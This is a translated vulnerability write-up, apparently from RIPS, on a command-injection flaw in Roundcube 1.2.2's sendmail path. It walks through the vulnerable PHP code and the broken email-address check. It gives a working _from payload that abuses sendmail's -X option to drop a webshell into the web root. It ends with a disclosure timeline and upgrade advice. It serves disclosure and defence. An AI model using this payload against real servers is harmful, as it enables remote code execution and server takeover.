Roundcube 1.2.2: Command Execution via Email

本文译自 RIPSTech(RIPS)团队博客,原发于知乎专栏,查看原文

0x00. 前言

Roundcube 是一个在全球范围内被广泛使用的开源网络邮件程序。例如,SourceForge 上的镜像在过去 12 个月中的下载量就超过 26 万,这也只是当今用户群体中的一小部分。Roundcube 提供了人性化的 Web 界面,以便已认证用户通过 Web 浏览器发送和接收电子邮件。

在这篇文章中,我们将会分析恶意用户如何通过 Roundcube 1.2.2(>= 1.0)发送一封电子邮件就可在远程操作系统上执行任意命令。由于所有使用默认安装方式安装的 Roundcube 都会受到影响,因此此漏洞具有极高的危害性。我们建议大家尽快将 Roundcube 升级到最新版本 1.2.3。

RIPS 完整扫描 Roundcube 应用程序后给出了大量结果,其中很多问题代码其实是安装代码的一部分或历史遗留代码。

RIPS 扫描结果(按严重程度):Low 15、Medium 11、High 16、Critical 1

RIPS 扫描结果(按漏洞类型):Other 46.5%、Path Traversal 20.9%、SQL Injection / XSS / File Create / File Delete / File Write 各 7% 等

因此这些问题看起来都不是很严重,但无论如何,RIPS 也建议修复这些漏洞和删除遗留代码,以防止以后这些代码被不安全的调用或与其他安全漏洞形成漏洞组合。

上述代码分析结果可以在在线 demo 程序中获得 —— https://demo.ripstech.com/project/10/。但是为了确保大家都能及时获知这个漏洞的修复方案,我们在分析结果中仅展示了本文所述漏洞。

0x01. 漏洞利用条件

  • Roundcube 必须配置为使用 PHP 的 mail() 函数(如果安装时没有对 SMTP 进行特殊设置,默认满足)
  • PHP 的 mail() 函数配置为 sendmail(默认满足,请参阅 sendmail_path
  • php.ini 中关闭 safe_mode(默认满足,请参见 safe_mode
  • 攻击者必须知道或能够猜测出 web 根目录的绝对路径

这些要求不是特别苛刻,因此意味着在整个网络空间中存在很多有潜在危害的主机。

0x02. 漏洞描述

在 Roundcube 1.2.2 及更早版本中,用户可控的输入变量没有经过安全检查就传递到了 PHP 内置的高风险函数 mail() 的第五个参数上,此参数允许传递另外的参数到 sendmail 程序里执行。同时 sendmail 提供了 -X 选项以便将所有邮件记录在文件中,因此攻击者可以利用此选项,并在被攻击的服务器的网站根目录中生成一个恶意 PHP 文件。

以下是存在漏洞的代码:

路径:program/steps/mail/sendmail.inc

1
2
3
90  $from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);
91
92 $sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto, $smtp_error, $mailbody_file, $smtp_opts);

字段 _from 的值从用户输入处获得后传入 $from 变量,并在 deliver_message() 函数中被调用。

跟进 deliver_message() 函数:

路径:program/lib/Roundcube/rcube.php

1
2
3
4
5
6
1578 public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
1579
1580 if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
1581 $sent = mail($to, $subject, $msg_body, $header_str);
1582 else
1583 $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");

该函数将 $from 变量传递给 mail() 函数。目的是通过 -f 选项将自定义的邮件 from 头字段传递到 sendmail 程序中。

0x03. 不充分的变量检查

代码预先用正则表达式对电子邮件地址进行了过滤。$from 参数被限制包含空格,这就使得不太可能在 -f 参数后面附加其他参数。因此使用空白常量如 $IFS(注:$IFS 指域分隔符,包括空格、Tab、换行)或注入新的 shell 命令在这里就会失效。然而,这里存在使得变量检查方法失效的逻辑缺陷。

路径:program/steps/mail/sendmail.inc

1
2
3
4
5
6
104  else if ($from_string = rcmail_email_input_format($from)) {
105 if (preg_match('/(\S+@\S+)/', $from_string, $m))
106 $from = trim($m[1], '<>');
107 else
108 $from = null;
109 }

第 105 行中,函数从不包含空格的变量 $from 中匹配电子邮件地址。但是,仅当 rcmail_email_input_format() 函数返回 TRUE 时,才会执行这句代码。

跟进 rcmail_email_input_format() 函数:

路径:program/steps/mail/sendmail.inc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
850  function rcmail_email_input_format($mailto, $count=false, $check=true)
851 {
852 global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
853 // simplified email regexp, supporting quoted local part
854 $email_regexp = '(\S+|("[^"]+"))@\S+';
855
856 // replace new lines and strip ending ', ', make address input more valid
857 $mailto = trim(preg_replace($regexp, $replace, $mailto));
858 $items = rcube_utils::explode_quoted_string($delim, $mailto);
859 $result = array();
860 foreach ($items as $item) {
861 $item = trim($item);
862 // address in brackets without name (do nothing)
863 if (preg_match('/^<'.$email_regexp.'>$/', $item)) {
864 $item = rcube_utils::idn_to_ascii(trim($item, '<>'));
865 $result[] = $item;
866 }
867
868 else if (trim($item)) {
869 continue;
870 }
871
872 }
873 if ($count) {
874 $RECIPIENT_COUNT += count($result);
875 }
876 return implode(', ', $result);
877 }

我们看到,该函数在第 863 行中使用了一个正则表达式使得程序只能够匹配到两个尖括号里的内容。但是我们的 payload 只要不去满足这个正则表达式,程序执行就会进入 868 行的 else if 语句,因此数组 $result 将在 foreach 循环后保持为空值。接下来,876 行中的 implode() 函数将返回一个空字符串(等于 FALSE),这样程序执行就跳过了 104 行中的 else if 语句,$from 变量顺利逃过了 105 行的正则表达式检查。

0x04. 漏洞证明

当恶意用户使用 Roundcube 发送电子邮件时,可以按照如下代码修改 http 请求中的 _from 参数:

1
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php

带有上述参数的请求允许攻击者在 web 根目录中生成一个 webshell 文件 rce.php,而 rce.php 包含 _subject 参数的内容,同时 _subject 参数也能够包含 PHP 代码。

所以执行请求后,将创建包含以下内容的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject:
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<< format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< Message-ID:
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]

由于电子邮件数据未经编码,因此 subject 字段将以纯文本形式存放,这就允许将 PHP 标签写入到 shell 文件中。

0x05. 漏洞 Timeline

1
2
3
4
2016/11/21  向 Roundcube 团队报告此漏洞
2016/11/22 Roundcube 团队在 github 上修复此漏洞
2016/11/28 Roundcube 团队同意披露此漏洞
2016/11/28 Roundcube 团队发布 Roundcube 1.2.3 版本

0x06. 漏洞总结

Roundcube 1.2.2 版本已经可以抵御来自网络上的大部分攻击向量,许多人也为了提高它的安全性做了大量工作,并且由于这篇文章中描述的漏洞非常少见,因此有非常大的可能性会被大家忽视掉。但是如果我们借助自动化代码审计,不仅可以检测到这种比较少见的漏洞,而且还可以节省大量人力,从而让大家有更多的精力去关注一个安全可靠的 Web 应用程序开发过程中的其他方面。

最后,我们由衷的感谢 Roundcube 团队仅用一天就快速修复了此漏洞,并且新版本仅仅一周后就已发布,这是一种非常专业的对待自家产品安全隐患的响应态度,令人印象深刻。

评论Comments